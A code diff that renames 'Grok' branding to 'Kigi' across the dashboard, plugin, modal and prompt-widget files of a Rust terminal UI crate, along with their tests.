+++ b/crates/codegen/kigi-tui/src/views/dashboard/peek.rs
@@ -1476,11 +1476,11 @@ mod tests {
             DashboardRowId::TopLevel(AgentId(0)),
             fields("Response", &["hello"]),
         );
-        panel.model_name = Some("Grok 4 Fast".to_string());
+        panel.model_name = Some("Kigi 4 Fast".to_string());
         panel.auto_approve = true;
         let bottom = badge_row(&panel, 6);
         assert!(
-            bottom.contains("Grok 4 Fast"),
+            bottom.contains("Kigi 4 Fast"),
             "model on bottom border: {bottom:?}"
         );
         assert!(
@@ -1497,10 +1497,10 @@ mod tests {
         ];
         q.request_id = Some(1);
         let mut qpanel = PeekPanelState::new(DashboardRowId::TopLevel(AgentId(0)), q);
-        qpanel.model_name = Some("Grok 4 Fast".to_string());
+        qpanel.model_name = Some("Kigi 4 Fast".to_string());
         let qbottom = badge_row(&qpanel, 8);
         assert!(
-            qbottom.contains("Grok 4 Fast"),
+            qbottom.contains("Kigi 4 Fast"),
             "model shows in question/approval mode: {qbottom:?}",
         );
 
@@ -1509,7 +1509,7 @@ mod tests {
             DashboardRowId::TopLevel(AgentId(0)),
             fields("Response", &["hi"]),
         );
-        plain.model_name = Some("Grok 4 Fast".to_string());
+        plain.model_name = Some("Kigi 4 Fast".to_string());
         plain.auto_approve = false;
         let plain_bottom = badge_row(&plain, 6);
         assert!(
@@ -1523,7 +1523,7 @@ mod tests {
             DashboardRowId::TopLevel(AgentId(0)),
             fields("Response", &["hi"]),
         );
-        planp.model_name = Some("Grok 4 Fast".to_string());
+        planp.model_name = Some("Kigi 4 Fast".to_string());
         planp.plan_mode = true;
         let plan_bottom = badge_row(&planp, 6);
         assert!(
diff --git a/crates/codegen/kigi-tui/src/views/dashboard/render.rs b/crates/codegen/kigi-tui/src/views/dashboard/render.rs
index 1980a82..56ea4e0 100644
--- a/crates/codegen/kigi-tui/src/views/dashboard/render.rs
+++ b/crates/codegen/kigi-tui/src/views/dashboard/render.rs
@@ -2494,7 +2494,7 @@ fn render_empty_state(buf: &mut Buffer, area: Rect, theme: &Theme, loading: bool
 /// chrome reflects what Enter will do: dispatch a new session vs.
 /// enqueue / send a prompt to the currently-selected agent.
 /// Paint a short right-aligned feedback badge onto the dispatch box's
-/// **top border** (e.g. `✗ Session no longer exists`, `✓ Theme: Grok
+/// **top border** (e.g. `✗ Session no longer exists`, `✓ Theme: Kigi
 /// Day`), in a neutral accent colour. The message is painted VERBATIM:
 /// it already carries its own status glyph — errors are built via
 /// [`DashboardState::set_error_toast`] (`✗`), while successes / info
@@ -4661,7 +4661,7 @@ mod tests {
         let mut state = DashboardState::new();
         // A distinct absolute path outside $HOME (rendered verbatim) that
         // differs from the process cwd. No git cache entry → no branch span.
-        state.cwd = std::path::PathBuf::from("/grok-staged-cwd-marker");
+        state.cwd = std::path::PathBuf::from("/kigi-staged-cwd-marker");
 
         let mut buf = Buffer::empty(area);
         render_header(&mut buf, area, &theme, &rows, &mut state);
@@ -4670,7 +4670,7 @@ mod tests {
             .map(|x| buf[(x, 0)].symbol().to_string())
             .collect();
         assert!(
-            top_row.contains("/grok-staged-cwd-marker"),
+            top_row.contains("/kigi-staged-cwd-marker"),
             "header must render the staged cwd, not the process cwd; got: {top_row:?}",
         );
     }
@@ -5629,12 +5629,12 @@ mod tests {
         let theme = Theme::current();
         let mut state = DashboardState::new();
         let check = crate::glyphs::check_mark();
-        state.error_toast = Some(format!("{check} Theme: Grok Day"));
+        state.error_toast = Some(format!("{check} Theme: Kigi Day"));
         let _ = render_dispatch(&mut buf, Rect::new(0, 0, 80, 3), &theme, &mut state, None);
 
         let top_row: String = (0..80).map(|x| buf[(x, 0)].symbol().to_string()).collect();
         assert!(
-            top_row.contains(&format!("{check} Theme: Grok Day")),
+            top_row.contains(&format!("{check} Theme: Kigi Day")),
             "badge must paint the message verbatim, got: {top_row:?}",
         );
         assert!(
@@ -7051,7 +7051,7 @@ mod tests {
         let area = Rect::new(0, 0, 80, 24);
         // A temp dir with a `.git` child so the toggle is eligible (hermetic,
         // unlike depending on the test's real cwd being a repo).
-        let repo = std::env::temp_dir().join("grok-loc-wt-toggle-repo-test");
+        let repo = std::env::temp_dir().join("kigi-loc-wt-toggle-repo-test");
         std::fs::create_dir_all(repo.join(".git")).expect("mk .git");
         let mut modal =
             LocationPickerState::new(vec![], repo.clone(), std::collections::HashMap::new());
@@ -7111,7 +7111,7 @@ mod tests {
         let area = Rect::new(0, 0, 80, 24);
         let mut modal = LocationPickerState::new(
             vec![],
-            std::path::PathBuf::from("/grok-not-a-repo-xyz-12345"),
+            std::path::PathBuf::from("/kigi-not-a-repo-xyz-12345"),
             std::collections::HashMap::new(),
         );
         let mut buf = Buffer::empty(area);
diff --git a/crates/codegen/kigi-tui/src/views/dashboard/row.rs b/crates/codegen/kigi-tui/src/views/dashboard/row.rs
index e8a1018..f44ac37 100644
--- a/crates/codegen/kigi-tui/src/views/dashboard/row.rs
+++ b/crates/codegen/kigi-tui/src/views/dashboard/row.rs
@@ -1665,12 +1665,12 @@ mod tests {
     fn append_roster_rows_uses_model_id_as_secondary_line() {
         let empty = std::collections::BTreeSet::new();
         let entry = RosterEntry {
-            model_id: Some("grok-4.5".to_string()),
+            model_id: Some("kigi-4.5".to_string()),
             ..roster_entry_with("m", Some("Fix the bug"), RosterActivity::Dormant)
         };
         let rows = collect_roster(&[entry], &empty);
         assert_eq!(rows.len(), 1);
-        assert_eq!(rows[0].secondary_line.as_deref(), Some("grok-4.5"));
+        assert_eq!(rows[0].secondary_line.as_deref(), Some("kigi-4.5"));
     }
     /// Without a model id there's genuinely nothing to show, so the
     /// second line stays empty rather than rendering a placeholder.
@@ -1742,7 +1742,7 @@ mod tests {
     /// the list uncluttered).
     #[test]
     fn idle_local_agent_without_message_has_blank_secondary() {
-        let agent = make_idle_agent_with_model(Some("grok-4.5"));
+        let agent = make_idle_agent_with_model(Some("kigi-4.5"));
         assert_eq!(classify_top_level(&agent), RowState::Idle);
         let row = top_level_row(AgentId(0), &agent, false, false, None);
         assert_eq!(
diff --git a/crates/codegen/kigi-tui/src/views/dashboard/state.rs b/crates/codegen/kigi-tui/src/views/dashboard/state.rs
index 69e9224..acc27ef 100644
--- a/crates/codegen/kigi-tui/src/views/dashboard/state.rs
+++ b/crates/codegen/kigi-tui/src/views/dashboard/state.rs
@@ -4445,7 +4445,7 @@ pub fn load_persisted_from_path(path: &std::path::Path) -> Option<PersistedDashb
 /// + rename, so concurrent readers never observe a half-truncated file.
 pub fn write_persisted(p: &PersistedDashboard) -> std::io::Result<()> {
     let path = config_path()
-        .ok_or_else(|| std::io::Error::new(std::io::ErrorKind::NotFound, "no grok home"))?;
+        .ok_or_else(|| std::io::Error::new(std::io::ErrorKind::NotFound, "no kigi home"))?;
     write_persisted_to_path(&path, p)
 }
 
@@ -4788,8 +4788,8 @@ mod tests {
 
     #[test]
     fn compact_cwd_strips_home() {
-        let p = Path::new("/Users/alice/projects/grok");
-        assert_eq!(compact_cwd(p, Some("/Users/alice")), "~/projects/grok");
+        let p = Path::new("/Users/alice/projects/kigi");
+        assert_eq!(compact_cwd(p, Some("/Users/alice")), "~/projects/kigi");
     }
 
     #[test]
diff --git a/crates/codegen/kigi-tui/src/views/extensions_modal.rs b/crates/codegen/kigi-tui/src/views/extensions_modal.rs
index 23f968e..96b53f0 100644
--- a/crates/codegen/kigi-tui/src/views/extensions_modal.rs
+++ b/crates/codegen/kigi-tui/src/views/extensions_modal.rs
@@ -170,11 +170,11 @@ pub fn plugin_group(plugin: &kigi_hooks_plugins_types::PluginInfo) -> PluginGrou
     use kigi_hooks_plugins_types::{PluginOrigin, PluginScope};
 
     match &plugin.origin {
-        Some(PluginOrigin::ProjectGrok) => PluginGroup::new(0, "origin:project", "Project"),
+        Some(PluginOrigin::ProjectKigi) => PluginGroup::new(0, "origin:project", "Project"),
         Some(PluginOrigin::ProjectClaude) => {
             PluginGroup::new(1, "origin:project-claude", "Project (Claude)")
         }
-        Some(PluginOrigin::UserGrok) => PluginGroup::new(2, "origin:user", "User"),
+        Some(PluginOrigin::UserKigi) => PluginGroup::new(2, "origin:user", "User"),
         Some(PluginOrigin::UserClaude)
         | Some(PluginOrigin::ClaudeInstalled { marketplace: None }) => {
             PluginGroup::new(3, "origin:user-claude", "User (Claude)")
@@ -192,7 +192,7 @@ pub fn plugin_group(plugin: &kigi_hooks_plugins_types::PluginInfo) -> PluginGrou
             ..
         }) => PluginGroup {
             rank: 5,
-            key: format!("grok-mp:{source}"),
+            key: format!("kigi-mp:{source}"),
             label: source.clone(),
         },
         Some(PluginOrigin::MarketplaceInstall {
@@ -208,7 +208,7 @@ pub fn plugin_group(plugin: &kigi_hooks_plugins_types::PluginInfo) -> PluginGrou
                 }
                 Some(source) => PluginGroup {
                     rank: 5,
-                    key: format!("grok-mp:{source}"),
+                    key: format!("kigi-mp:{source}"),
                     label: source.to_string(),
                 },
                 None => PluginGroup::new(2, "origin:user", "User"),
@@ -2021,9 +2021,9 @@ pub(crate) fn mcp_section_children_hidden(
 /// Returns `(label, is_custom)` where `is_custom` means the source was added
 /// via hooks-paths and can be removed.
 pub fn derive_source_label(source_dir: &str) -> (String, bool) {
-    let grok = kigi_config::kigi_home();
+    let kigi = kigi_config::kigi_home();
     let source_path = std::path::Path::new(source_dir);
-    // Plugin / installed-plugin dirs, under the user grok home (KIGI_SHARE_DIR-aware)
+    // Plugin / installed-plugin dirs, under the user kigi home (KIGI_SHARE_DIR-aware)
     // or a project-scoped `{cwd}/.kigi/<subdir>/`. Returns the first path
     // component after the subdir (the plugin's install directory name).
     let plugin_name = |subdir: &str| -> Option<String> {
@@ -2033,8 +2033,8 @@ pub fn derive_source_label(source_dir: &str) -> (String, bool) {
                 .map(|c| c.as_os_str().to_string_lossy().into_owned())
                 .filter(|s| !s.is_empty())
         };
-        // User grok home (KIGI_SHARE_DIR-aware).
-        if let Ok(rest) = source_path.strip_prefix(grok.join(subdir))
+        // User kigi home (KIGI_SHARE_DIR-aware).
+        if let Ok(rest) = source_path.strip_prefix(kigi.join(subdir))
             && let Some(name) = first_comp(rest)
         {
             return Some(name);
@@ -2054,7 +2054,7 @@ pub fn derive_source_label(source_dir: &str) -> (String, bool) {
         return (format!("Plugin: {name}"), false);
     }
     // Global hooks under $KIGI_SHARE_DIR/hooks
-    let global_hooks = grok.join("hooks");
+    let global_hooks = kigi.join("hooks");
     let global_str = global_hooks.display().to_string();
     if source_dir == global_str || source_dir.starts_with(&format!("{global_str}/")) {
         return ("Global hooks".into(), false);
@@ -2069,7 +2069,7 @@ pub fn derive_source_label(source_dir: &str) -> (String, bool) {
     }
     // Custom directory — removable
     let display = {
-        if let Ok(rest) = source_path.strip_prefix(&grok) {
+        if let Ok(rest) = source_path.strip_prefix(&kigi) {
             let prefix = crate::util::display_kigi_home_prefix();
             let rest_str = rest.to_string_lossy();
             let rest_trimmed = rest_str.strip_prefix('/').unwrap_or(&rest_str);
@@ -2138,7 +2138,7 @@ fn skill_source_str(skill: &SkillInfo) -> String {
         match cs {
             kigi_tools::types::config_source::ConfigSource::User { path } => {
                 if crate::util::is_under_user_kigi_home(path) {
-                    crate::util::display_user_grok_path("skills")
+                    crate::util::display_user_kigi_path("skills")
                 } else if path.display().to_string().contains("/.claude/") {
                     "~/.claude/skills".into()
                 } else {
@@ -3461,7 +3461,7 @@ mod tests {
     fn derive_source_label_detects_project_scoped_plugins() {
         // Regression: project-scoped `{cwd}/.kigi/plugins/<name>/` must label as
         // a (non-removable) plugin, not a removable "Custom" source. The user
-        // grok-home branch is KIGI_SHARE_DIR-aware; this covers the project fallback.
+        // kigi-home branch is KIGI_SHARE_DIR-aware; this covers the project fallback.
         let (label, is_custom) = derive_source_label("/repo/work/.kigi/plugins/my-plugin/hooks");
         assert_eq!(label, "Plugin: my-plugin");
         assert!(!is_custom);
@@ -4844,14 +4844,14 @@ mod tests {
     fn plugin_group_maps_each_origin_variant() {
         use kigi_hooks_plugins_types::PluginOrigin;
         for (origin, rank, key, label) in [
-            (PluginOrigin::ProjectGrok, 0, "origin:project", "Project"),
+            (PluginOrigin::ProjectKigi, 0, "origin:project", "Project"),
             (
                 PluginOrigin::ProjectClaude,
                 1,
                 "origin:project-claude",
                 "Project (Claude)",
             ),
-            (PluginOrigin::UserGrok, 2, "origin:user", "User"),
+            (PluginOrigin::UserKigi, 2, "origin:user", "User"),
             (
                 PluginOrigin::UserClaude,
                 3,
@@ -4878,7 +4878,7 @@ mod tests {
                     git_url: Some("https://example.com/r.git".into()),
                 },
                 5,
-                "grok-mp:xAI Official",
+                "kigi-mp:xAI Official",
                 "xAI Official",
             ),
             (
@@ -4938,7 +4938,7 @@ mod tests {
         let mut mp = make_plugin("mp-tool");
         mp.marketplace_source = Some("xAI Official".into());
         let group = plugin_group(&mp);
-        assert_eq!(group.key, "grok-mp:xAI Official");
+        assert_eq!(group.key, "kigi-mp:xAI Official");
         assert_eq!(group.label, "xAI Official");
 
         let mut direct = make_plugin("direct-tool");
@@ -4955,7 +4955,7 @@ mod tests {
         assert_eq!(plugin_group(&unknown).key, "origin:user");
 
         unknown.marketplace_source = Some("xAI Official".into());
-        assert_eq!(plugin_group(&unknown).key, "grok-mp:xAI Official");
+        assert_eq!(plugin_group(&unknown).key, "kigi-mp:xAI Official");
     }
 
     #[test]
@@ -4968,7 +4968,7 @@ mod tests {
                     marketplace: "claude-market".into(),
                 },
             ),
-            make_plugin_with_origin("user-tool", PluginOrigin::UserGrok),
+            make_plugin_with_origin("user-tool", PluginOrigin::UserKigi),
             make_plugin_with_origin("claude-tool", PluginOrigin::UserClaude),
         ]);
         let buf = render_plugins_into_buffer(&mut state, 100, 40);
@@ -5001,7 +5001,7 @@ mod tests {
     fn plugins_render_multiple_plugins_under_one_group() {
         use kigi_hooks_plugins_types::PluginOrigin;
         let mut state = plugins_modal_state(vec![
-            make_plugin_with_origin("solo-tool", PluginOrigin::UserGrok),
+            make_plugin_with_origin("solo-tool", PluginOrigin::UserKigi),
             make_plugin_with_origin(
                 "catalog-tool",
                 PluginOrigin::ClaudeMarketplace {
@@ -5057,7 +5057,7 @@ mod tests {
     #[test]
     fn plugins_collapsed_group_hides_rows_and_search_forces_open() {
         use kigi_hooks_plugins_types::PluginOrigin;
-        let mut plugin = make_plugin_with_origin("user-tool", PluginOrigin::UserGrok);
+        let mut plugin = make_plugin_with_origin("user-tool", PluginOrigin::UserKigi);
         plugin.root = "/opt/p1".into();
         let mut state = plugins_modal_state(vec![plugin]);
         state.plugins_collapsed_groups.insert("origin:user".into());
@@ -5097,7 +5097,7 @@ mod tests {
         let mut disabled = make_plugin_with_origin("off-tool", PluginOrigin::UserClaude);
         disabled.enabled = false;
         let mut state = plugins_modal_state(vec![
-            make_plugin_with_origin("user-tool", PluginOrigin::UserGrok),
+            make_plugin_with_origin("user-tool", PluginOrigin::UserKigi),
             disabled,
         ]);
         state.plugins_filter = StatusFilter::Disabled;
diff --git a/crates/codegen/kigi-tui/src/views/fps_hud.rs b/crates/codegen/kigi-tui/src/views/fps_hud.rs
index 8aadadd..134520a 100644
--- a/crates/codegen/kigi-tui/src/views/fps_hud.rs
+++ b/crates/codegen/kigi-tui/src/views/fps_hud.rs
@@ -182,7 +182,7 @@ mod tests {
     /// both cfgs (the dev half is pinned by the constant's shape, the same
     /// limitation as the `/debug` visibility test).
     #[test]
-    fn grok_fps_env_enables_hud_where_dev_overlay_absent() {
+    fn kigi_fps_env_enables_hud_where_dev_overlay_absent() {
         for truthy in ["1", "full", " "] {
             assert_eq!(
                 FpsHud::with_env(Some(truthy.into())).enabled(),
diff --git a/crates/codegen/kigi-tui/src/views/goal_detail.rs b/crates/codegen/kigi-tui/src/views/goal_detail.rs
index 55c950f..cadc93e 100644
--- a/crates/codegen/kigi-tui/src/views/goal_detail.rs
+++ b/crates/codegen/kigi-tui/src/views/goal_detail.rs
@@ -1473,11 +1473,11 @@ mod tests {
     #[test]
     fn render_per_model_breakdown_shows_each_model() {
         let mut goal = make_goal();
-        goal.live_tokens_by_model = vec![("grok-4".into(), 12_300), ("grok-3-mini".into(), 8_000)];
+        goal.live_tokens_by_model = vec![("kigi-4".into(), 12_300), ("kigi-3-mini".into(), 8_000)];
         let text = render_to_text(&goal);
-        assert!(text.contains("grok-4"), "first model must render:\n{text}");
+        assert!(text.contains("kigi-4"), "first model must render:\n{text}");
         assert!(
-            text.contains("grok-3-mini"),
+            text.contains("kigi-3-mini"),
             "second model must render:\n{text}"
         );
         // Compact token formatting is reused.
diff --git a/crates/codegen/kigi-tui/src/views/mcps_modal.rs b/crates/codegen/kigi-tui/src/views/mcps_modal.rs
index 3306f22..e1ee1d7 100644
--- a/crates/codegen/kigi-tui/src/views/mcps_modal.rs
+++ b/crates/codegen/kigi-tui/src/views/mcps_modal.rs
@@ -230,7 +230,7 @@ pub fn convert_list_response(resp: McpsListResponse) -> Vec<McpServerInfo> {
     servers
 }
 
-/// Patch a single server row in-place from an `x.ai/mcp/server_status`
+/// Patch a single server row in-place from an `kigi/mcp/server_status`
 /// push.
 ///
 /// Finds the row by `name` and updates its `status` (and optionally its
diff --git a/crates/codegen/kigi-tui/src/views/modal.rs b/crates/codegen/kigi-tui/src/views/modal.rs
index 2f63d09..868d9e7 100644
--- a/crates/codegen/kigi-tui/src/views/modal.rs
+++ b/crates/codegen/kigi-tui/src/views/modal.rs
@@ -958,17 +958,17 @@ pub fn apply_doc_mouse_scroll(kind: crossterm::event::MouseEventKind, scroll: &m
 }
 const DOCS_USER_GUIDE_REL: &str = "docs/user-guide";
 /// Prefer keeping the on-disk path when width is tight.
-fn fit_docs_ask_grok_tip(docs_path: &str, width: usize) -> String {
+fn fit_docs_ask_kigi_tip(docs_path: &str, width: usize) -> String {
     use crate::render::line_utils::truncate_str;
     if width == 0 {
         return String::new();
     }
     let long =
-        format!("Tip · Ask Grok about the docs ({docs_path}) — e.g. \"how do I set up MCP?\"");
+        format!("Tip · Ask Kigi about the docs ({docs_path}) — e.g. \"how do I set up MCP?\"");
     if long.width() <= width {
         return long;
     }
-    let short = format!("Tip · Ask Grok about the docs · {docs_path}");
+    let short = format!("Tip · Ask Kigi about the docs · {docs_path}");
     if short.width() <= width {
         return short;
     }
@@ -1054,8 +1054,8 @@ pub fn render_doc_picker_overlay(
     };
     let (picker_area, tip_area) = split_content_for_tip_footer(mca.content);
     if let Some(tip_rect) = tip_area {
-        let docs_path = crate::util::display_user_grok_path(DOCS_USER_GUIDE_REL);
-        let tip_line = fit_docs_ask_grok_tip(&docs_path, tip_rect.width as usize);
+        let docs_path = crate::util::display_user_kigi_path(DOCS_USER_GUIDE_REL);
+        let tip_line = fit_docs_ask_kigi_tip(&docs_path, tip_rect.width as usize);
         render_centered_tip_footer(buf, tip_rect, theme, &tip_line);
     }
     const NARROW_THRESHOLD: u16 = 70;
@@ -1276,7 +1276,7 @@ mod palette_tests {
 #[cfg(test)]
 mod doc_picker_tip_tests {
     use super::{
-        ActiveModal, DOCS_USER_GUIDE_REL, fit_docs_ask_grok_tip, howto_list_modal,
+        ActiveModal, DOCS_USER_GUIDE_REL, fit_docs_ask_kigi_tip, howto_list_modal,
         render_doc_picker_overlay,
     };
     use ratatui::buffer::Buffer;
@@ -1284,16 +1284,16 @@ mod doc_picker_tip_tests {
     use unicode_width::UnicodeWidthStr;
     #[test]
     fn fit_docs_tip_prefers_path_and_never_overflows() {
-        let path = crate::util::display_user_grok_path(DOCS_USER_GUIDE_REL);
+        let path = crate::util::display_user_kigi_path(DOCS_USER_GUIDE_REL);
         let long =
-            format!("Tip · Ask Grok about the docs ({path}) — e.g. \"how do I set up MCP?\"");
-        let short = format!("Tip · Ask Grok about the docs · {path}");
+            format!("Tip · Ask Kigi about the docs ({path}) — e.g. \"how do I set up MCP?\"");
+        let short = format!("Tip · Ask Kigi about the docs · {path}");
         let path_only = format!("Tip · {path}");
-        assert_eq!(fit_docs_ask_grok_tip(&path, long.width()), long);
-        assert_eq!(fit_docs_ask_grok_tip(&path, short.width()), short);
-        assert_eq!(fit_docs_ask_grok_tip(&path, path_only.width()), path_only);
+        assert_eq!(fit_docs_ask_kigi_tip(&path, long.width()), long);
+        assert_eq!(fit_docs_ask_kigi_tip(&path, short.width()), short);
+        assert_eq!(fit_docs_ask_kigi_tip(&path, path_only.width()), path_only);
         for w in [5usize, 12, 20, 30] {
-            let line = fit_docs_ask_grok_tip(&path, w);
+            let line = fit_docs_ask_kigi_tip(&path, w);
             assert!(line.width() <= w, "overflow at {w}: {line:?}");
         }
     }
@@ -1328,7 +1328,7 @@ mod doc_picker_tip_tests {
             all.push('\n');
         }
         assert!(
-            all.contains("Tip") && all.contains("Ask Grok"),
+            all.contains("Tip") && all.contains("Ask Kigi"),
             "missing tip footer:\n{all}"
         );
         assert!(
diff --git a/crates/codegen/kigi-tui/src/views/modal_window.rs b/crates/codegen/kigi-tui/src/views/modal_window.rs
index 8a85247..e861a0c 100644
--- a/crates/codegen/kigi-tui/src/views/modal_window.rs
+++ b/crates/codegen/kigi-tui/src/views/modal_window.rs
@@ -572,7 +572,7 @@ fn render_tab_bar(
             // not `theme.gray_dim`. At ANSI16 `gray_dim` collapses to the
             // softer slot (silver on White) which leaves text at ~1.2:1
             // contrast — fine for the modal frame's one-cell border line
-            // but unreadable as text glyphs on grokday.
+            // but unreadable as text glyphs on kigiday.
             let style = if is_active {
                 if state.tabs_focused && !is_embedded {
                     Style::default()
@@ -1210,7 +1210,7 @@ mod tests {
         use ratatui::layout::Rect;
 
         let theme = Theme::current();
-        const TEXT: &str = "Tip · Ask Grok about the docs";
+        const TEXT: &str = "Tip · Ask Kigi about the docs";
         let row_text = |width: u16| {
             let area = Rect {
                 x: 0,
@@ -1229,7 +1229,7 @@ mod tests {
         let start = wide.find("Tip").expect("Tip");
         let trailing = wide.chars().rev().take_while(|c| *c == ' ').count();
         assert!(start.abs_diff(trailing) <= 1, "not centered: {wide:?}");
-        assert!(wide.contains("Ask Grok about the docs"));
+        assert!(wide.contains("Ask Kigi about the docs"));
 
         let tiny = row_text(10);
         assert!(tiny.contains("Tip"));
diff --git a/crates/codegen/kigi-tui/src/views/permission_view.rs b/crates/codegen/kigi-tui/src/views/permission_view.rs
index 945885f..876cafb 100644
--- a/crates/codegen/kigi-tui/src/views/permission_view.rs
+++ b/crates/codegen/kigi-tui/src/views/permission_view.rs
@@ -1614,7 +1614,7 @@ fn char_wrap(s: &str, width: usize) -> Vec<String> {
 /// RejectOnce renders as a freeform input row (matching question view style)
 /// using the same 1-based shortcut number as its prefix:
 /// ```text
-///  3 [ ] Tell Grok what to do differently
+///  3 [ ] Tell Kigi what to do differently
 ///  3 [x] ❯ my followup message preview...
 /// ```
 ///
@@ -2216,7 +2216,7 @@ mod tests {
         state.description = vec![
             "{".to_string(),
             "  \"issue\": \"ABC-123\",".to_string(),
-            "  \"body\": \"hello from grok\"".to_string(),
+            "  \"body\": \"hello from kigi\"".to_string(),
             "}".to_string(),
         ];
         state.options = vec![acp::PermissionOption::new(
@@ -2242,7 +2242,7 @@ mod tests {
             "args JSON not rendered:\n{text}"
         );
         assert!(
-            text.contains("\"body\": \"hello from grok\""),
+            text.contains("\"body\": \"hello from kigi\""),
             "args JSON not rendered:\n{text}"
         );
         // Option row still visible below the args.
diff --git a/crates/codegen/kigi-tui/src/views/plan_approval_view.rs b/crates/codegen/kigi-tui/src/views/plan_approval_view.rs
index 25deae4..83ac0ab 100644
--- a/crates/codegen/kigi-tui/src/views/plan_approval_view.rs
+++ b/crates/codegen/kigi-tui/src/views/plan_approval_view.rs
@@ -1,7 +1,7 @@
 use agent_client_protocol as acp;
 use kigi_acp_lib::AcpResult;
 
-pub use kigi_tools::implementations::grok_build::exit_plan_mode::{
+pub use kigi_tools::implementations::kigi::exit_plan_mode::{
     ExitPlanModeExtRequest, ExitPlanModeExtResponse,
 };
 
diff --git a/crates/codegen/kigi-tui/src/views/prompt_suggestion.rs b/crates/codegen/kigi-tui/src/views/prompt_suggestion.rs
index 37bc4b8..77e08a8 100644
--- a/crates/codegen/kigi-tui/src/views/prompt_suggestion.rs
+++ b/crates/codegen/kigi-tui/src/views/prompt_suggestion.rs
@@ -153,10 +153,10 @@ pub fn suggestion_size(text: &str) -> (usize, usize) {
 }
 
 /// Resolve the client-side model hint sent with the suggestion request:
-/// env override > `grok-build-0.1` when the catalog offers it > `None`.
+/// env override > `kigi-0.1` when the catalog offers it > `None`.
 ///
 /// The hint is one tier of the shell-side resolution (env > config.toml >
-/// remote settings > this hint > `grok-build-0.1` default): the shell
+/// remote settings > this hint > `kigi-0.1` default): the shell
 /// catalog-guards the effective model and skips the request entirely when
 /// it is not sampleable — the session model is never used for suggestion
 /// calls.
diff --git a/crates/codegen/kigi-tui/src/views/prompt_widget/mod.rs b/crates/codegen/kigi-tui/src/views/prompt_widget/mod.rs
index 59d5c92..cee63e3 100644
--- a/crates/codegen/kigi-tui/src/views/prompt_widget/mod.rs
+++ b/crates/codegen/kigi-tui/src/views/prompt_widget/mod.rs
@@ -12,7 +12,7 @@
 //!                                            ← top vpad (configurable)
 //!  ❯ type here, text wraps                   ← prefix + TextArea
 //!    continuation of long input...            ← TextArea continuation
-//!  grok-3 · yolo                             ← info line (optional)
+//!  kigi-3 · yolo                             ← info line (optional)
 //! ```
 //!
 //! The accent line (┃) and selection box are rendered by the caller.
@@ -1099,7 +1099,7 @@ impl PromptWidget {
                 {
                     // The row's trailing space is its args separator; absorb
                     // an existing plain-text one so accepting mid-token in
-                    // `/mod grok-4` yields `/model grok-4`, not `/model  grok-4`
+                    // `/mod kigi-4` yields `/model kigi-4`, not `/model  kigi-4`
                     // — absorb (rather than trim the insert) so the cursor
                     // lands after the separator, in the args phase. Never
                     // absorb an element's byte: a chip's leading space is chip
@@ -1125,7 +1125,7 @@ impl PromptWidget {
                 false
             }
         } else {
-            // Replace the args range (e.g., "gr" → "Grok 4 Fast").
+            // Replace the args range (e.g., "gr" → "Kigi 4 Fast").
             if let Some(ref range) = snap.args_range
                 && range.end <= text_len
                 && self.textarea.text().is_char_boundary(range.start)
@@ -3012,7 +3012,7 @@ impl PromptWidget {
             }
         }
 
-        // Bottom divider: ╰──────────grok-3 · flags──╯
+        // Bottom divider: ╰──────────kigi-3 · flags──╯
         // Guard on actual allocated height, not requested `info_block`: during
         // resize the layout may squeeze the info block to 0 rows, leaving
         // chunks[2].y past the buffer boundary.
diff --git a/crates/codegen/kigi-tui/src/views/prompt_widget/tests.rs b/crates/codegen/kigi-tui/src/views/prompt_widget/tests.rs
index f0a037e..714ab38 100644
--- a/crates/codegen/kigi-tui/src/views/prompt_widget/tests.rs
+++ b/crates/codegen/kigi-tui/src/views/prompt_widget/tests.rs
@@ -251,7 +251,7 @@
             TerminalName::Rio,
             TerminalName::Foot,
             TerminalName::JetBrains,
-            TerminalName::GrokDesktop,
+            TerminalName::KigiDesktop,
             TerminalName::Vte,
             TerminalName::Terminator,
             TerminalName::WindowsTerminal,
@@ -277,7 +277,7 @@
                 | TerminalName::Rio
                 | TerminalName::Foot
                 | TerminalName::JetBrains
-                | TerminalName::GrokDesktop
+                | TerminalName::KigiDesktop
                 | TerminalName::Vte
                 | TerminalName::Terminator
                 | TerminalName::WindowsTerminal
@@ -397,7 +397,7 @@
         use std::path::PathBuf;
 
         let mut img = test_image();
-        img.source_path = Some(PathBuf::from("/tmp/grok-test-image.png"));
+        img.source_path = Some(PathBuf::from("/tmp/kigi-test-image.png"));
 
         let mut pw = ghostty_prompt();
         pw.insert_image(img).unwrap();
@@ -407,12 +407,12 @@
             "chip text should be path-free: {full:?}"
         );
         assert!(
-            !full.contains("/tmp/grok-test-image.png"),
+            !full.contains("/tmp/kigi-test-image.png"),
             "source path must not appear in the buffer chip: {full:?}"
         );
         assert_eq!(
             pw.images[0].source_path.as_deref(),
-            Some(std::path::Path::new("/tmp/grok-test-image.png")),
+            Some(std::path::Path::new("/tmp/kigi-test-image.png")),
             "source_path retained on the PastedImage record"
         );
 
@@ -420,7 +420,7 @@
         let selected = pw.textarea.selected_text().expect("selected text");
         assert!(selected.contains("[Image #1]"));
         assert!(
-            !selected.contains("/tmp/grok-test-image.png"),
+            !selected.contains("/tmp/kigi-test-image.png"),
             "select-all must not copy the filepath from the chip"
         );
     }
@@ -1559,7 +1559,7 @@
         let models = crate::acp::model_state::ModelState::default();
 
         // Cursor inside the command token with args already present.
-        pw.textarea.insert_str("/mod grok-4");
+        pw.textarea.insert_str("/mod kigi-4");
         pw.textarea.set_cursor(3);
         pw.refresh_slash(&models);
 
@@ -1577,7 +1577,7 @@
         assert!(pw.accept_slash_completion(&models));
         assert_eq!(
             pw.textarea.text(),
-            "/model grok-4",
+            "/model kigi-4",
             "the row's trailing space must not stack on the existing separator"
         );
         // Absorb (not trim-the-insert): the cursor must land after the
@@ -1664,25 +1664,25 @@
 
         let mut pw = PromptWidget::new();
         let mut models = crate::acp::model_state::ModelState::default();
-        let model_id = agent_client_protocol::ModelId::new(Arc::from("grok-4.5"));
+        let model_id = agent_client_protocol::ModelId::new(Arc::from("kigi-4.5"));
         models.available.insert(
             model_id.clone(),
-            agent_client_protocol::ModelInfo::new(model_id, "Grok 4.5".to_string()),
+            agent_client_protocol::ModelInfo::new(model_id, "Kigi 4.5".to_string()),
         );
 
-        // Type "/model gr" and position cursor at end (in args).
-        pw.textarea.insert_str("/model gr");
+        // Type "/model ki" and position cursor at end (in args).
+        pw.textarea.insert_str("/model ki");
         pw.refresh_slash(&models);
 
         let snap = pw.slash_snapshot();
         assert!(snap.open, "arg suggestions should be open");
         assert!(snap.args_range.is_some());
 
-        // Accept arg completion → should replace "gr" with "Grok 4.5".
+        // Accept arg completion → should replace "ki" with "Kigi 4.5".
